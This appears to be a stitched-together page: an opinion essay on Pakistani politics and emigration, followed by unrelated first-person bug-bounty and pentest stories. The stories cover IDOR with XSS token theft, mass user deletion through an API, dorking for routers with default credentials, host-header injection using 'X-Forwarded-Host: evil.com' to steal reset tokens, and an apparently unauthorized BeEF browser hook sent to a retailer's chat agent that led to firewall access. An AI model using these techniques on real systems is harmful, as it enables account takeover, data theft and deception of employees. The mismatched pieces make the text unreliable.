Pakistan has seen a significant number of its citizens emigrating to other countries in recent years, and one of the main reasons for this has been the country’s dirty politics. The constant infighting, corruption, and lack of accountability among the political elite have made life difficult for ordinary citizens, leading many to seek a better future elsewhere.

However, leaving Pakistan is not a solution to the country’s problems. It is the responsibility of the government and the people of Pakistan to work towards a brighter future for their nation. This can be achieved through a combination of political reforms, greater accountability, and a focus on economic development.

One of the key reasons why people leave Pakistan is the lack of job opportunities and economic development. Pakistan has a young and rapidly growing population, but the country has been unable to create enough jobs to meet the needs of its people. As a result, many young and talented individuals are forced to look for work in other countries.

To address this issue, the Pakistani government needs to prioritize economic development and job creation. This can be achieved through policies that promote entrepreneurship, investment, and the growth of small and medium-sized businesses. In addition, the government should invest in education and vocational training to equip its citizens with the skills they need to succeed in the modern economy.

Another reason why people leave Pakistan is the corruption and lack of accountability among the political elite. The country has a long history of political scandals and controversies, and many people feel that their voices are not being heard or that their votes do not matter. This lack of accountability has led to a sense of frustration and disillusionment among the people of Pakistan.

To address this issue, the government needs to implement political reforms that promote greater transparency and accountability. This can be achieved through measures such as strengthening anti-corruption laws, promoting freedom of the press and speech, and creating independent oversight bodies to monitor the actions of elected officials. In addition, the government should work to restore public trust in the political process by engaging with citizens, listening to their concerns, and taking concrete steps to address their needs.

Finally, it is important to recognize that leaving Pakistan is not a solution to the country’s problems. Emigration can have a devastating impact on families and communities, and it can lead to a brain drain that undermines the country’s long-term economic and social development. Instead of leaving, the people of Pakistan need to work together to build a brighter future for their nation.

In conclusion, the dirty politics of Pakistan have driven many of its citizens to emigrate in search of a better life. However, leaving is not a solution to the country’s problems. Instead, the government and people of Pakistan need to work together to promote economic development, political reform, and greater accountability. By doing so, they can build a stronger, more prosperous, and more democratic nation that can provide a better future for all of its citizens.

About the web-application

The web application was built on react, there was role-based authentication, they were using Bearer Authentication, which means no chance for CSRF, CORS etc.

Param

I found nothing, I was going through my burp HTTP history, saw an endpoint where a lot of parameters were there, I thought let's try each parameter in every request and see what happens, I didn’t even know what I will end up with. I tried the parameters in every request in GET and POST. found nothing then I realize, let's save them in a file and make a wordlist of it and then try them on their API. there was an HTTP request like this.

GET /v2/ HTTP/1.1
Host: api.redacted.com
Connection: close
Content-Length: 159
Accept: application/json, text/plain, */*
authorization: Bearer {token}
x-redacted-client: web/7.80.0
x-connection-id: 94881378-e4dsb-4cf4-8569-fb5e434223b61
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://api.redacted.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Now here I had to use my brain more because every request has their own method and parameters, what to be done in every request?. I send the request to the intruder and select the positions like this.

§CHECK§ /v2/§one§?§two§=§three§ HTTP/1.1
Host: api.reacted.com
Connection: close
Accept: application/json, text/plain, */*
authorization: Bearer {token}
x-reacted-client: web/7.76.2
x-connection-id: 94881378-eassb-4cf4-5569-fb5as334223b61
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Origin: https://app.reacted.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

I ran the intruder and came up with some interesting results like this.

Sorry I can not disclose the param and the company name but try to understand the scenario here.

After reporting it I got their reply with $1k bounty.

Bounty Time

After the bounty, I thought let's try one parameter everywhere but, how about changing requests like changing GET to POST and POST to GET and just like that PUT to POST and GET, not just that let's play around with Content-Type and change the content type as application/JSON to application/x-www-form-urlencoded vice versa. The results were so surprising I got a lot of endpoints, all of them were disclosing sensitive information including passwords (plain text 😁). The parameters I used doesn't actually belong to the original request.

Always go through your burp HTTP history and note every parameter make a list of it and fuzz as much as you can. Try everything in every format like if there is a GET request try that request in POST, PUT, PATCH and DELETE, play around with the content-type and you will get there ❤

Story101.

The bug I reported was an IDOR with which, I was able to change the profile data but not the primary email which is used to login to an account, so I saw another field the secondary email, I thought maybe this email could be used to login to the account I didn’t try it and reported to the chintu.com, with the title [ Critical ] IDOR leads to Account TakeOver, After few days the report was Triaged and I was so happy, within few days I got a reply with $1250 bounty, but suddenly on the same day the ASE change the reward to 200$ and set the priority to P4 and created a blocker to answer their question. the argument was.

I was so mad about the reward, so I started digging the application and while doing further recon and testing I came across an endpoint which was showing the latest profile points where the username was reflected and was not sanitized properly, I thought let's try XSS and I succeeded, what I did was change the username field via IDOR with the XSS payload and sent the Auth token to my server via XSS, after reporting this to the chintu.com their reply was.

Always try harder, thanks for reading.

When I was going through their subnets I found a portal, which was for supervisors where they would log in and interact with their customer's data like their internet connections configurations, etc. Developers often make some stupid mistakes after enumerating a little bit I saw a registration page where anyone can signup as a supervisor. I signed up there as a supervisor the application was developed in NodeJS, After signing in there were few functionalities like adding devices, configuring networks, but I would have to add them first to interact with them, my instance of the portal was empty no devices or network connection details.

I decided to test the application itself for other bugs and I switched to their API started enumerating fuzzing and notice that when I visit my profile an XHR request was sent which look like this,

https://redacted.redacted.redacted.jio.com/accounts/api/users/5db18183e4b00bda10cf7313?ugs_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c&tsp=1571914533638

Being an N00B I first tried to make another account and think of changing the id to someone else account id and It was unexpected, what data I received!

I was so surprised and thought what if I can bruteforce the user id’s but it was very random for me as I am not that good with cryptography so mistakenly I removed the id and sent the request and I was surprised I got some other users details but not all of the users so, I attached a limit param just guessed it like,

https://redacted.redacted.redacted.jio.com/accounts/api/users/5db18183e4b00bda10cf7313?ugs_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c&tsp=1571914533638&limit=1000

Got all users details each and everything, not just that, I can delete and update the user's details too by changing the request method from GET to POST or PUT and sending the DELETE request on /users will delete all the users.

Thank you for READING

Disclaimer

I am not responsible for any illegal actions taken by you, this guide/tutorial/blog is just for educational purposes. The content, shown in this article are permitted by the company whom I was testing.

I was requested by my friend to pentest a company in my country, as they offered good money, they allowed me to test each and every phase of their company. It was full scope Pentesting. There are always many options when there is full scope Pentesting it really depends on the pentester that he choose which way, I went for the network first and search their domains IP addresses and then I search that IP addresses on Internet Number Registry, and I was surprised they were using huge ranges of IP addresses and different types of subnets for their Infrastructure, so lets begin the hack.

Who Got Time For Scanning/Nmap

When you see such huge subnets and IP ranges, there is one thing that comes in mind, its gonna take a long, long time. Scanning is good options but when you want to hunt for bugs more quickly with such huge IP ranges and subnets all you need to do is to work smart.

Gear UP

Lets gear up our toolbox that we will need during testing you can go for the other ones but this is my gearbox, tell me if I need to add more things in there. First, we need to think of a few things here what kind of servers/services/devices etc.. we are going to face?. so here is my list when I do such Pentesting.

1. Routersploit.
2. Searchsploit.
3. Metasploit.
4. Self scripted tools.

Let's Begin.

Google Dorking The Noob Way

If you read the blogs on the internet about the Google Dorking, this is the great one I’ve found, let us consider the IP ranges and subnet as the following.

1. N.N.80.0/20
2. N.N.84.0/8
3. N.N.48.0/16
4. N.N.32.0/20
5. N.N.0.0/12

Consider N any number in your mind, but don't change it lets do some Google Dorking on these ranges. If we type this dork site:N.N.80.0 we will get no result or very few but let's use the wild card here like this site:N.N.*.* and now we have a large number of results many of which contains internally connected routers exposed to the public we can also filter the result with specific ports like this site:N.N.*.* -intext:9000 inurl:9000 this will show the result of containing the port number 9000 but, this is not that fun at all let's combine it with other dorks like this site:N.N.*.* intext:"Wifi" and we got wifi routers you can use other dorks with it according to your choice, but what’s next? well in my case the company was using some old devices and some devices with default credentials which includes their network firewalls, routers, IP cameras and other network devices and luckily I was able to take over the max of them. below are the screenshots please help me to learn more by giving your response on this blog, Thank You.

I was surprised when I saw that the endpoint was vulnerable to Host-Header Injection so, here are the steps of how I was able to exploit it. First I fired up python local server running on port 8080 along with ngrok on port 80

I fired up my burp and firefox typed the URL again to capture the request for further testing. I typed my email in the forgot password form, when I intercept the request first I tried every header like

X-Host: evil.com
X-Server: evil.com
X-Forwarded-For: evil.com
X-Forwarded-Host: evil.com

I tried every header and the one which worked for me here was

X-Forwarded-Host: evil.com

Got confirmation about the email has been sent to my email

Original Host replaced by the evil host (ngrok/mine host). Now victims click the link and I GET a request with the password token of the user

Later sometime I visited Daraz and wrote a complaint feedback about my experience and within 2 days I got a call from customer care telling me about their 7 days refund policy which they didn’t mention clearly on their web app. Well, I was browsing YouTube and saw an e-commerce platform goto.com.pk Ad, mistakenly I typed goto.pk instead of goto.com.pk and I saw a URL shortener service.

I thought something evil, I fired up my Terminal, switched to beef, configured my no-IP, forward my port and shorten my hooked URL with goto.pk, and I got something like “http://goto.pk/5wcdw”. So, Continue to Daraz I saw a live chat agent, well I thought it an awesome opportunity to test, I start a live chat session with one of their agents.

I asked him about some products if they are available on Daraz, the agent told me to send the link to that product, finally he clicked on that link and I got his browser there was nothing interesting but one thing which was not good for them as I got access to their network firewall ( pfsense => firewall/router ) .

The methodology was, I scanned that public IP and noticed that port 80 is open which was pointing me to the pfsense admin interface as a n00b I tried admin/admin, admin/password and all common usernames and passwords, nothing happened but then google helped me with the default credentials for pfsense admin/pfsense and believe me I got access to their firewall.